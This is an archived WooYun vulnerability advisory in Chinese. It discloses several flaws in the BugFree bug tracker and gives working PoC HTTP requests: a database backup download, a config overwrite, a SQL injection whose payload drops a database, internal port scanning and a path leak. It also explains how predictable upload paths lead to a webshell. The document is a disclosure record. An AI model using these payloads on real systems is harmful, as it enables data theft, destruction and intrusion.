漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-074519
漏洞标题:bugfree 文件包含等漏洞打包
相关厂商:bugfree.org.cn
漏洞作者: papaver
提交时间:2014-08-31 13:17
修复时间:2014-11-29 13:18
公开时间:2014-11-29 13:18
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-08-31: 细节已通知厂商并且等待厂商处理中
2014-09-05: 厂商已经确认,细节仅向厂商公开
2014-09-08: 细节向第三方安全合作伙伴开放
2014-10-30: 细节向核心白帽子及相关领域专家公开
2014-11-09: 细节向普通白帽子公开
2014-11-19: 细节向实习白帽子公开
2014-11-29: 细节向公众公开
简要描述:
bugfree 是国内一款比较不错的开源的bug管理产品,
日前偶然遇到一处使用bugfree的地方,于是就花了些时间挖了挖,发现一些问题,懒得开那么多页面了,就打包一起发吧
详细说明:
1,上传,自评级别:严重。
之前园长其实说过这个问题,但是只是说可以上传。没有说到其实文件名具有很强的可预测性,
园长漏洞参见这里: WooYun: BugFree任意文件上传漏洞
上传的文件,生成的路径会有几个部分,一个是项目id,一个是月份,一个就是当前的时间。
比如我在bugid是344 的 条目里上传的php文件,访问的物理路径会是这样:
/BugFile/Project344/201408/210732180.php
而文件名则很容易理解,是21点07分32秒,后三位180,其实是随机的,从100到200,递增10,写个程序猜几次就猜到了。
所以,这里如果没有对BugFile目录做文件执行设置,那恭喜你,直接就拿shell了。
2,垂直权限 越权,自评:低
访问 bugfree/adminAction/,可以看到 管理员的若干操作,
3,数据库下载 自评:严重
漏洞文件:/install/index.php
这个就厉害了,/bugfree/install/index.php文件,当action是backup并且download变量为真的时候就会去备份config配置文件指定的库。然后返回给你。看到这里你可能觉得只能下载bugfree的库啊,别急,后面还有,修改config文件。
poc:
GET /bugfree/install/index.php?action=backup&download=123 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://172.16.0.134/bugfree/install/
Host: 172.16.0.134
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
虽然location 指定到了index,但是返回的内容就是数据库的内容。于是,目标库就被下载回来了。
4, 修改config文件 自评:高
漏洞文件:/install/index.php
POC:
POST /bugfree/install/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://172.16.0.134/bugfree/install/
Content-Length: 139
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=4jn42unqk7rkqep1vraemarlf3
Host: 172.16.0.134
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
accept=on&action=install&dbhost=172.16.0.128&dbname=mysql&dbprefix=bf_'&dbpwd=123123&dbuser=root&language=zh_cn&port=3306&accept=123
漏洞证明:
5,内网数据库的暴力破解及端口扫描 自评:中
漏洞文件:/install/index.php
安装过程中会对指定的地址及端口进行连接,执行建表的操作,这里我们可以修改为内网其他的地址与端口,以实现对内网数据库的攻击。还可以实现对内网的端口扫描。
可以连接的端口与不可以连接的端口返回不同的相应:
poc:
3307端口是成功的连接相应。说明3307是开放的。
连接的过程也可以看到服务器实际发起来对外的数据连接:
6,sql注入 自评:严重
漏洞文件:/install/index.php
还是安装过程,进行数据库的相关操作时,没有对dbprefix进行检查过滤,导致这里存在sql注入
POC:
POST /bugfree/install/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://172.16.0.134/bugfree/install/
Content-Length: 146
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=4jn42unqk7rkqep1vraemarlf3
Host: 172.16.0.134
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
accept=on&action=install&dbhost=localhost&dbname=mysql&dbprefix=tt`;drop database bbbb;#bf_&dbpwd=&dbuser=root&language=zh_cn&port=3306&accept=123
其他的,自己发挥吧。
7,物理路径泄漏 自评:低
漏洞出现在文本编辑框处,编辑图片,选择浏览,
会发出如下的请求,而这个请求时错误的,代码实现的时候就时错的,
看完代码后,将地址修改如下,就可以成功了,但是,成功的时候,会返回当前web站点的物理路径。
POC:
GET /bugfree/assets/5839844b/php/file_manager_json.php?path=&order=NAME&dir=image&1407305895844 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 06 Aug 2014 06:18:35 GMT
Server: Apache
Content-Length: 207
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
/lampp/bugfree/htdocs/bugfree/assets/5839844b/attached/image{"moveup_dir_path":"","current_dir_path":"","current_url":"\/bugfree\/assets\/5839844b\/php\/..\/attached\/image\/","total_count":0,"file_list":[]}
ok了,累死了,
修复方案:
版权声明:转载请注明来源 papaver@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-09-05 08:26
厂商回复:
CNVD确认所述情况(未进行本地和实例复现),由于未建立与软件生产厂商的直接处置渠道,待认领。按多个漏洞评分,ran k20
最新状态:
暂无